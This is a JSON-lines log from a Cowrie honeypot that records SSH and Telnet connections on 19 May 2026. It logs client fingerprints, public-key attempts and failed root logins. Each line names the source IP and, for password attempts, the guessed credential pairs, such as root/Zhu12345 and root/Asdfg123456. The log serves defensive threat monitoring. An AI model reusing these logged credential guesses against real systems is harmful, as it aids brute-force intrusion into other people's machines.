{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:79:73:8d:4f:c7:e7:4d:55:50:a3:ed:38:15:64:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM1Hk5AX7dcileWXVSP5QIJ8oeRPSbRrprz/97ufhtKd4wyW8374fY+Uyx97QPW98eTqmnjQfuCpv5pI2Ze9Iru5/34vsKFT5zw2EiU5D4mxZPNKTWu09+C+3zILy6iUD5KYDeOQiTgimuVbYDVCgl+iQZLAhqGw+G71xRFuDMVoZLqg/7LyrZIhyLlgp918gpIzAezogVRsEYGmoeHkCpIgYbYV+aRQQPK7pcK4YAWWcmoIjzoaGB9PYpTrPKdegk27ZYIiwEaMu7IqcVfms/Zb6wxE+/Dsdn6Jmt5x2ELtZeKcHmk8oaV3EibONp2lH7vAIHglwWWKN/75mnSHvH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.050972Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:a2:78:a3:a7:68:d2:28:45:96:15:a5:e0:d9:9a:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTN95BnITfu60lweaXy2+glWm0KLmUDosMQH+4W6Drn6ZL3LghwYXpmSzUVgOJIhbRaJFm6XFmui08ebuRXYUW2/MWaYeR5XO5hQiLS2fBU5Ui6i544Q72iYaF5mltW4tNRn25Al/0xf6iZHtvOodh56MgMdj8TVvzMWo5KooATQPYw/lsiWU5pLCnH5MjlJQWb6LitVoPLxaO8A4jh5M+Ko6vLDiuNzuqtU6fEfVuDhZDG7HabWz0T9BqvAlx33W2ySBwTQYPwj78IWYNyC0WRsZHSt5Gba6hmRp4lJfoOsIEbdE+T6mJhRYU8O28dDZG+iRtlRum8eE/VuUZJeWl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:a2:78:a3:a7:68:d2:28:45:96:15:a5:e0:d9:9a:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.061440Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:a2:78:a3:a7:68:d2:28:45:96:15:a5:e0:d9:9a:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTN95BnITfu60lweaXy2+glWm0KLmUDosMQH+4W6Drn6ZL3LghwYXpmSzUVgOJIhbRaJFm6XFmui08ebuRXYUW2/MWaYeR5XO5hQiLS2fBU5Ui6i544Q72iYaF5mltW4tNRn25Al/0xf6iZHtvOodh56MgMdj8TVvzMWo5KooATQPYw/lsiWU5pLCnH5MjlJQWb6LitVoPLxaO8A4jh5M+Ko6vLDiuNzuqtU6fEfVuDhZDG7HabWz0T9BqvAlx33W2ySBwTQYPwj78IWYNyC0WRsZHSt5Gba6hmRp4lJfoOsIEbdE+T6mJhRYU8O28dDZG+iRtlRum8eE/VuUZJeWl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.064846Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:a7:ab:b4:17:b6:b7:02:74:49:74:a7:0c:07:10:c2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKgDFmlRYGunKlMJXguzkNZiMRYq4f1PauhRhqmmOh0nib4r/pu5+gB6gKPnWoP1ToSqUu8S6JzY6n5mPoDaPyJYz3dT9n9bIygLum081pRvZLeowSm5Dtfp+8CsQHykg3MlEHzjuV2XVZnNLDU+80Qf7qerX5j1xIlTmPgVAd7xAAAAFQDR4X8SRfUo6b9WyEYQPScN/iNCnwAAAIAGHm8/ScpfF52B0NQRjhX+MQfITnaipuSHPhBpWn8OzIJAsenEKmLQet5PmeQXqagxoIFOIkXFmU6jQj7LC4Jxu9QB6zTtmSnasyXoXY5iQZ5zmpqykmOI7txhkhz5GOzk/7RnuWnMTV0WWzeG38qoWM6T+4DcG6UwSQv3nRsG7QAAAIAFfeNzLIJ8RPcb35Aqu4FU8E6eqFxPEZg4MbVgnLShyZFB4WdqLiABhMbXIOJ7coSNDCOY8XToMuvkvBKg3RkOvU6GKuEPPBR2geNZqQrwjHmTwp9+hDC0QbyDLrjRm6XYeX++jY9QtFL58ZWxFeUkahBzwlzs7vHqRfGXc6b/sw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b9:a7:ab:b4:17:b6:b7:02:74:49:74:a7:0c:07:10:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.072529Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:a7:ab:b4:17:b6:b7:02:74:49:74:a7:0c:07:10:c2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKgDFmlRYGunKlMJXguzkNZiMRYq4f1PauhRhqmmOh0nib4r/pu5+gB6gKPnWoP1ToSqUu8S6JzY6n5mPoDaPyJYz3dT9n9bIygLum081pRvZLeowSm5Dtfp+8CsQHykg3MlEHzjuV2XVZnNLDU+80Qf7qerX5j1xIlTmPgVAd7xAAAAFQDR4X8SRfUo6b9WyEYQPScN/iNCnwAAAIAGHm8/ScpfF52B0NQRjhX+MQfITnaipuSHPhBpWn8OzIJAsenEKmLQet5PmeQXqagxoIFOIkXFmU6jQj7LC4Jxu9QB6zTtmSnasyXoXY5iQZ5zmpqykmOI7txhkhz5GOzk/7RnuWnMTV0WWzeG38qoWM6T+4DcG6UwSQv3nRsG7QAAAIAFfeNzLIJ8RPcb35Aqu4FU8E6eqFxPEZg4MbVgnLShyZFB4WdqLiABhMbXIOJ7coSNDCOY8XToMuvkvBKg3RkOvU6GKuEPPBR2geNZqQrwjHmTwp9+hDC0QbyDLrjRm6XYeX++jY9QtFL58ZWxFeUkahBzwlzs7vHqRfGXc6b/sw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.076012Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:8f:02:4e:e8:96:52:cb:13:68:3b:9b:5d:34:e6:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmlACqLhaFrSOZgTR/xjH0OfkKNdnvbPiCGYr0oqpRHIu0/SXqTsW24ZPHndEQEJJ2tPzA/AZCTHD+24CMjTw1IRS3xE21kDVJj7iTZOtLH1sd5SRj/jVodgXCKAoMZKCL1JBIKyi8T44J+tjuPPj/urFZVXfJosyRNh6DiwQhTU41AgzWNHbtZjkaEx9Itnzhy20Uo2MthMUb8V9xLXp7N0CCcmapyqYEB7A/yDRpwCxb5ZyvSWCvxwkvHQkW3ZdC1O67XTM4H5dXasfsk5vhGBaCLgjZ0opVTULw49wRf322jxyzu5lpoKRY6VEprmSelvRpUzO8yCqEs44Nx/Kb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:8f:02:4e:e8:96:52:cb:13:68:3b:9b:5d:34:e6:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.084214Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:8f:02:4e:e8:96:52:cb:13:68:3b:9b:5d:34:e6:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmlACqLhaFrSOZgTR/xjH0OfkKNdnvbPiCGYr0oqpRHIu0/SXqTsW24ZPHndEQEJJ2tPzA/AZCTHD+24CMjTw1IRS3xE21kDVJj7iTZOtLH1sd5SRj/jVodgXCKAoMZKCL1JBIKyi8T44J+tjuPPj/urFZVXfJosyRNh6DiwQhTU41AgzWNHbtZjkaEx9Itnzhy20Uo2MthMUb8V9xLXp7N0CCcmapyqYEB7A/yDRpwCxb5ZyvSWCvxwkvHQkW3ZdC1O67XTM4H5dXasfsk5vhGBaCLgjZ0opVTULw49wRf322jxyzu5lpoKRY6VEprmSelvRpUzO8yCqEs44Nx/Kb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.088594Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:11:fa:cd:8b:72:90:98:d0:9c:cd:a2:dc:25:47:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3XXzA8CsTouM7dKHS6nTbOWBLWWrRpcVMJntya/E8fgyVHzWTtTHILAF9FO+T41gSLyqdqFqAULuZz3Nx0BaAbiMH2gjfs9+9rDXJycdYRrUJEqv+Rm8b4A49qGVe78gHQOxPukgka8e956s2Gx/a0l1agV4gOhiJipVw1Fn/AXzl0tXOHTXlnrcMrQlYKX3/EdcEgjNEPWaagSl4dBNs1xuRgKBwT7Q6Y6lOoHGFYW99WgF7xhBPzTccESoDKneKO/+CDCB/zj/vRsiQWvL4zJrXS3gr06fFaekxVuD/DBom/QgfSSlPmzpdViSkK+lLaAAtq6BkArgASUDOPLoeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:11:fa:cd:8b:72:90:98:d0:9c:cd:a2:dc:25:47:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.098376Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:11:fa:cd:8b:72:90:98:d0:9c:cd:a2:dc:25:47:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3XXzA8CsTouM7dKHS6nTbOWBLWWrRpcVMJntya/E8fgyVHzWTtTHILAF9FO+T41gSLyqdqFqAULuZz3Nx0BaAbiMH2gjfs9+9rDXJycdYRrUJEqv+Rm8b4A49qGVe78gHQOxPukgka8e956s2Gx/a0l1agV4gOhiJipVw1Fn/AXzl0tXOHTXlnrcMrQlYKX3/EdcEgjNEPWaagSl4dBNs1xuRgKBwT7Q6Y6lOoHGFYW99WgF7xhBPzTccESoDKneKO/+CDCB/zj/vRsiQWvL4zJrXS3gr06fFaekxVuD/DBom/QgfSSlPmzpdViSkK+lLaAAtq6BkArgASUDOPLoeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.101891Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.109988Z","src_ip":"104.194.10.248","session":"642072063510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhu12345","message":"login attempt [root/Zhu12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.593082Z","src_ip":"45.78.204.254","session":"115d6f2bbc7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33106,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1563f074da","protocol":"telnet","message":"New connection: 192.119.13.58:33106 (10.17.0.5:23) [session: 9e1563f074da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:54.873127Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:55.835507Z","src_ip":"45.78.204.254","session":"115d6f2bbc7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.865870237350464,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:58.553417Z","src_ip":"192.119.13.58","session":"078547191211","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.060123920440674,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:29:59.492408Z","src_ip":"192.119.13.58","session":"c130f2cf44d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.70353841781616,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:05.205470Z","src_ip":"192.119.13.58","session":"632c54f29a39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52782,"dst_ip":"10.17.0.5","dst_port":23,"session":"491032b8fd76","protocol":"telnet","message":"New connection: 192.119.13.58:52782 (10.17.0.5:23) [session: 491032b8fd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:06.010813Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53268,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac531d033cd3","protocol":"telnet","message":"New connection: 192.119.13.58:53268 (10.17.0.5:23) [session: ac531d033cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:06.154889Z"}
{"eventid":"cowrie.session.closed","duration":40.42479181289673,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:07.924567Z","src_ip":"192.119.13.58","session":"4650ccca3722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46302,"dst_ip":"10.17.0.5","dst_port":23,"session":"a084c5747650","protocol":"telnet","message":"New connection: 192.119.13.58:46302 (10.17.0.5:23) [session: a084c5747650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:11.185009Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":50606,"dst_ip":"159.203.135.109","dst_port":22,"session":"b058ec023667","protocol":"ssh","message":"New connection: 62.133.63.178:50606 (159.203.135.109:22) [session: b058ec023667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:12.268902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:12.277257Z","src_ip":"62.133.63.178","session":"b058ec023667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:12.406257Z","src_ip":"62.133.63.178","session":"b058ec023667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"denis","message":"login attempt [root/denis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:12.788670Z","src_ip":"62.133.63.178","session":"b058ec023667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:13.925924Z","src_ip":"62.133.63.178","session":"b058ec023667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41040,"dst_ip":"10.17.0.5","dst_port":23,"session":"251cb1f4c82b","protocol":"telnet","message":"New connection: 192.119.13.58:41040 (10.17.0.5:23) [session: 251cb1f4c82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:16.558226Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53372,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1c177b0aba","protocol":"telnet","message":"New connection: 192.119.13.58:53372 (10.17.0.5:23) [session: 5f1c177b0aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:19.571316Z"}
{"eventid":"cowrie.session.closed","duration":34.419363498687744,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:20.518249Z","src_ip":"192.119.13.58","session":"deb752f0ec7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.57045650482178,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:21.453290Z","src_ip":"192.119.13.58","session":"4b3c2170cd20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.655455112457275,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:23.884859Z","src_ip":"192.119.13.58","session":"0900eaef02bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44074,"dst_ip":"10.17.0.5","dst_port":23,"session":"8705a959a0d0","protocol":"telnet","message":"New connection: 192.119.13.58:44074 (10.17.0.5:23) [session: 8705a959a0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:24.125524Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":54284,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fec845ce4bc","protocol":"ssh","message":"New connection: 49.51.73.108:54284 (10.17.0.5:22) [session: 4fec845ce4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:26.044963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:26.049739Z","src_ip":"49.51.73.108","session":"4fec845ce4bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:26.117863Z","src_ip":"49.51.73.108","session":"4fec845ce4bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfg123456","message":"login attempt [root/Asdfg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:26.421676Z","src_ip":"49.51.73.108","session":"4fec845ce4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:27.493122Z","src_ip":"49.51.73.108","session":"4fec845ce4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.50378727912903,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:30.177642Z","src_ip":"192.119.13.58","session":"15fef3c0c536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":53584,"dst_ip":"10.17.0.5","dst_port":22,"session":"425cadb6417a","protocol":"ssh","message":"New connection: 103.75.182.198:53584 (10.17.0.5:22) [session: 425cadb6417a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:31.758214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:31.762862Z","src_ip":"103.75.182.198","session":"425cadb6417a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:32.033166Z","src_ip":"103.75.182.198","session":"425cadb6417a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"privet","message":"login attempt [root/privet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:32.771982Z","src_ip":"103.75.182.198","session":"425cadb6417a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:34.036260Z","src_ip":"103.75.182.198","session":"425cadb6417a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58490,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfcccf6043b3","protocol":"telnet","message":"New connection: 192.119.13.58:58490 (10.17.0.5:23) [session: cfcccf6043b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:34.394597Z"}
{"eventid":"cowrie.session.closed","duration":54.53385543823242,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:34.757815Z","src_ip":"192.119.13.58","session":"7f5923310ab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.295798778533936,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:37.452869Z","src_ip":"192.119.13.58","session":"71c5f6f80cf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.658891439437866,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:30:37.531803Z","src_ip":"192.119.13.58","session":"9e1563f074da","protocol":"telnet"}
